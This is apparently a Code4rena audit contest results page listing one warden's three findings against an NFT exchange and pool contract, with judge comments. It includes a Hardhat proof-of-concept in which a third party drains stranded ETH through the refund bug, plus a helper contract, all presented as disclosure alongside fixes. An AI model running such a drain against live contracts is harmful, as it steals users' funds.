Platform: Code4rena
Start Date: 11/11/2022
Pot Size: $36,500 USDC
Total HM: 5
Participants: 62
Period: 3 days
Judge: berndartmueller
Id: 181
League: ETH
Rank: 4/62
Findings: 3
Award: $1,083.73
🌟 Selected for report: 0
🚀 Solo Findings: 0
612.4275 USDC - $612.43
https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L219
The function that refunds remaining ETH in the Exchange contract will send back all the balance present in the contract instead of just the remaining amount after the exchange(s) operation(s) happen.
The _returnDust()
internal function is called in the execute
and bulkExecute
functions of the Exchange contract to return the sender any ETH that is leftover after the exchanges happened.
This function uses a low level call using inline assembly to refund the caller if the storage variable remainingETH
(which tracks the consumption of ETH) is greater than 0. But, instead of using this variable as the amount to be refunded, it calls selfbalance()
which will return the total ETH balance held in the contract.
This issue can be used to withdraw all the ETH stored in the contract: as long as the refund amount is at least 1 wei the refund process will still send all the contract's balance.
Combining this issue with other situations that may cause ETH to be stored in the contract (see associated report "ETH payments may fail to be refunded and will be lost in the Exchange contract") can lead an attacker to steal funds, as shown in the following PoC.
The following test first sets the scenario by using a failed bulk purchase operation that fails to be refunded back to the caller. This leaves the ETH payment in the Exchange contract.
The attacker (here represented by the thirdParty
signer) uses a bulk exchange operation that will fail on purpose and send a payment of 1 wei. _remainingETH
will be 1 wei, but the refund operation will send all the ETH held in the contract, which includes the lost payment from the previous operation.
it('steal eth in exchange via refund', async function() { // Simulate a failed operation that fails to refund ETH const buyerContract = (await simpleDeploy('NftBuyer', [exchange.address])) as any; // sell price is 2 ETH sell = generateOrder(alice, { side: Side.Sell, tokenId, paymentToken: ethers.constants.AddressZero, price: ethers.utils.parseEther("2"), fees: [], }); // buyer wants to buy it for 1 ETH, which will fail the operation const amount = ethers.utils.parseEther("1"); buy = generateOrder(buyerContract, { side: Side.Buy, tokenId, price: amount, paymentToken: ethers.constants.AddressZero, fees: [], }); sellInput = await sell.pack(); buyInput = await buy.packNoSigs(); const executions = [{ sell: sellInput, buy: buyInput }]; await waitForTx( buyerContract.buyNftBulk(executions, { value: amount }) ); // ETH is in exchange expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(amount); // Now thirdparty wants to take advantage of this, he executes an order that will also fail and sends 1 wei so the refund process is triggered const thirdPartyBuy = generateOrder(thirdParty, { side: Side.Buy, tokenId, price: 1, paymentToken: ethers.constants.AddressZero, fees: [], }); const thirdPartyBuyInput = await thirdPartyBuy.pack() const thirdPartyExecutions = [{ sell: sellInput, buy: thirdPartyBuyInput }]; // ETH present in the exchange is sent to third party await expect( () => exchange.connect(thirdParty).bulkExecute(thirdPartyExecutions, { value: 1 }) ).to.changeEtherBalance(thirdParty, amount); // Exchange balance is 0 expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(0); });
NftBuyer contract:
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "../Exchange.sol"; import "../lib/OrderStructs.sol"; contract NftBuyer is IERC721Receiver { Exchange private immutable exchange; constructor(Exchange _exchange) { exchange = _exchange; } function buyNft(Input calldata sell, Input calldata buy) external payable { exchange.execute{value: msg.value}(sell, buy); } function buyNftBulk(Execution[] calldata executions) external payable { exchange.bulkExecute{value: msg.value}(executions); } function onERC721Received( address, address, uint256, bytes calldata ) external returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } receive() external payable { // simulate a high gas operation } }
Use _remainingETH
instead of selfbalance()
in the _returnDust()
function:
assembly { if gt(_remainingETH, 0) { let callStatus := call( gas(), caller(), _remainingETH, 0, 0, 0, 0 ) } }
#0 - c4-judge
2022-11-16T14:47:13Z
berndartmueller marked the issue as duplicate of #96
#1 - c4-judge
2022-11-16T14:47:25Z
berndartmueller marked the issue as selected for report
#2 - c4-judge
2022-11-16T15:09:03Z
berndartmueller marked the issue as not a duplicate
#3 - c4-judge
2022-11-16T15:09:11Z
berndartmueller marked the issue as not selected for report
#4 - c4-judge
2022-11-16T15:10:03Z
berndartmueller marked the issue as not selected for report
#5 - c4-judge
2022-11-16T15:10:19Z
berndartmueller marked the issue as duplicate of #96
#6 - c4-judge
2022-11-16T15:10:46Z
berndartmueller marked the issue as satisfactory
#7 - trust1995
2022-11-16T15:16:23Z
I don't think this is a dup of the referenced issue as it doesn't discuss re-entrancy and generally seems to be a different issue.
🌟 Selected for report: rotcivegaf
Also found by: 0x4non, 0xDecorativePineapple, 9svR6w, Trust, V_B, adriro, ajtra, aviggiano, brgltd, carlitox477, chaduke, codexploder, corerouter, joestakey, ladboy233, s3cunda, saian, wait
66.8068 USDC - $66.81
https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L216
The function present in the Exchange contract that is in charge of refunding any remaining ETH after a single/bulk exchange doesn't check the return value of the ETH transfer operation and may fail while the overall process succeeds.
The _returnDust()
internal function is called in the execute
and bulkExecute
functions of the Exchange contract to return the sender any ETH that is leftover after the exchanges happened.
This function uses a low level call using inline assembly to refund the caller if the storage variable remainingETH
(which tracks the consumption of ETH) is greater than 0. The issue is that this function doesn't check if the low level call succeeded, the result of the call is stored in the variable callStatus
but no further is done using this value.
If the caller is a contract, there are various reasons why this call may fail. The calling contract may fail to implement the receive/fallback callbacks, have an error during execution of the callback, or simply run out of gas. Any of these scenarios may cause the low level call to fail, the ETH won't be refunded and will be lost in the Exchange contract.
This test reproduces the issue using a simple contract that initiates the purchase for demonstration purposes.
it('fails to refund eth', async function() { const buyerContract = (await simpleDeploy('NftBuyer', [exchange.address])) as any; const price = ethers.utils.parseEther("1"); sell = generateOrder(alice, { side: Side.Sell, tokenId, paymentToken: ethers.constants.AddressZero, price, fees: [], }); buy = generateOrder(buyerContract, { side: Side.Buy, tokenId, price, paymentToken: ethers.constants.AddressZero, fees: [], }); sellInput = await sell.pack(); buyInput = await buy.packNoSigs(); // buyer sends more eth than needed (double) await waitForTx( buyerContract.buyNft(sellInput, buyInput, { value: price.mul(2) }) ); // we bought the nft expect(await mockERC721.balanceOf(buyerContract.address)).to.eq(1); // ETH not refunded to buyer contract expect(await hre.ethers.provider.getBalance(buyerContract.address)).to.eq(0); // ETH is in exchange expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(price); });
NftBuyer contract:
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "../Exchange.sol"; import "../lib/OrderStructs.sol"; contract NftBuyer is IERC721Receiver { Exchange private immutable exchange; constructor(Exchange _exchange) { exchange = _exchange; } function buyNft(Input calldata sell, Input calldata buy) external payable { exchange.execute{value: msg.value}(sell, buy); } function buyNftBulk(Execution[] calldata executions) external payable { exchange.bulkExecute{value: msg.value}(executions); } function onERC721Received( address, address, uint256, bytes calldata ) external returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } receive() external payable { // simulate a high gas operation while(true) {} } }
Verify the return value of the low level call in the _returnDust()
function. If the result value callStatus
isn't 1 (success) then revert the whole operation.
#0 - trust1995
2022-11-14T22:21:53Z
Dup of #185
#1 - c4-judge
2022-11-16T11:59:44Z
berndartmueller marked the issue as duplicate of #90
#2 - c4-judge
2022-11-16T11:59:48Z
berndartmueller marked the issue as satisfactory
#3 - c4-judge
2022-12-06T14:17:36Z
berndartmueller changed the severity to 2 (Med Risk)
404.489 USDC - $404.49
https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Pool.sol#L13 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Pool.sol#L15
The Pool contract uses proxies (OpenZeppelin UUPSUpgradeable) but doesn't include an initializer function to properly initialize the contract.
The Pool contract inherits from OwnableUpgradeable
to handle access protection for the contract but fails to initialize it, because the contract doesn't even have an initializer.
This will cause the internal _owner
storage variable to remain uninitialized, its value will be empty/zero, and will leave the contract without owner.
This is concerning in particular because the function that authorizes an upgrade _authorizeUpgrade
is owner protected using the onlyOwner
modifier, which will always be false since the owner is not initialized (owner is address(0)
) and will prevent the contract from being upgraded.
The following test uses the hardhat plugin @openzeppelin/hardhat-upgrades
to simplify the code.
Note: PoolV2
here is just the same code as the Pool
contract with an added function, its contents aren't relevant to the test.
const { expect } = require("chai"); const { ethers, upgrades } = require("hardhat"); describe.only("Pool", function () { it("deploys proxy", async function() { const Pool = await ethers.getContractFactory("Pool"); const PoolV2 = await ethers.getContractFactory("PoolV2"); const pool = await upgrades.deployProxy(Pool, []); await pool.deployed(); // pool has no owner expect(await pool.owner()).to.eq(ethers.constants.AddressZero); // pool can't be upgraded await expect( upgrades.upgradeProxy(pool.address, PoolV2) ).to.be.revertedWith("Ownable: caller is not the owner"); }); });
Add a proper initializer to the contract that calls the OwnableUpgradeable
initializer:
function initialize() external initializer { __Ownable_init(); }
Also, don't forget to lock initializers in the implementation contract:
constructor() { _disableInitializers(); }
#0 - trust1995
2022-11-14T22:20:52Z
Dup of #186
#1 - c4-judge
2022-11-16T12:17:31Z
berndartmueller marked the issue as duplicate of #186
#2 - c4-judge
2022-11-16T12:17:40Z
berndartmueller changed the severity to 2 (Med Risk)
#3 - c4-judge
2022-11-16T12:17:44Z
berndartmueller marked the issue as satisfactory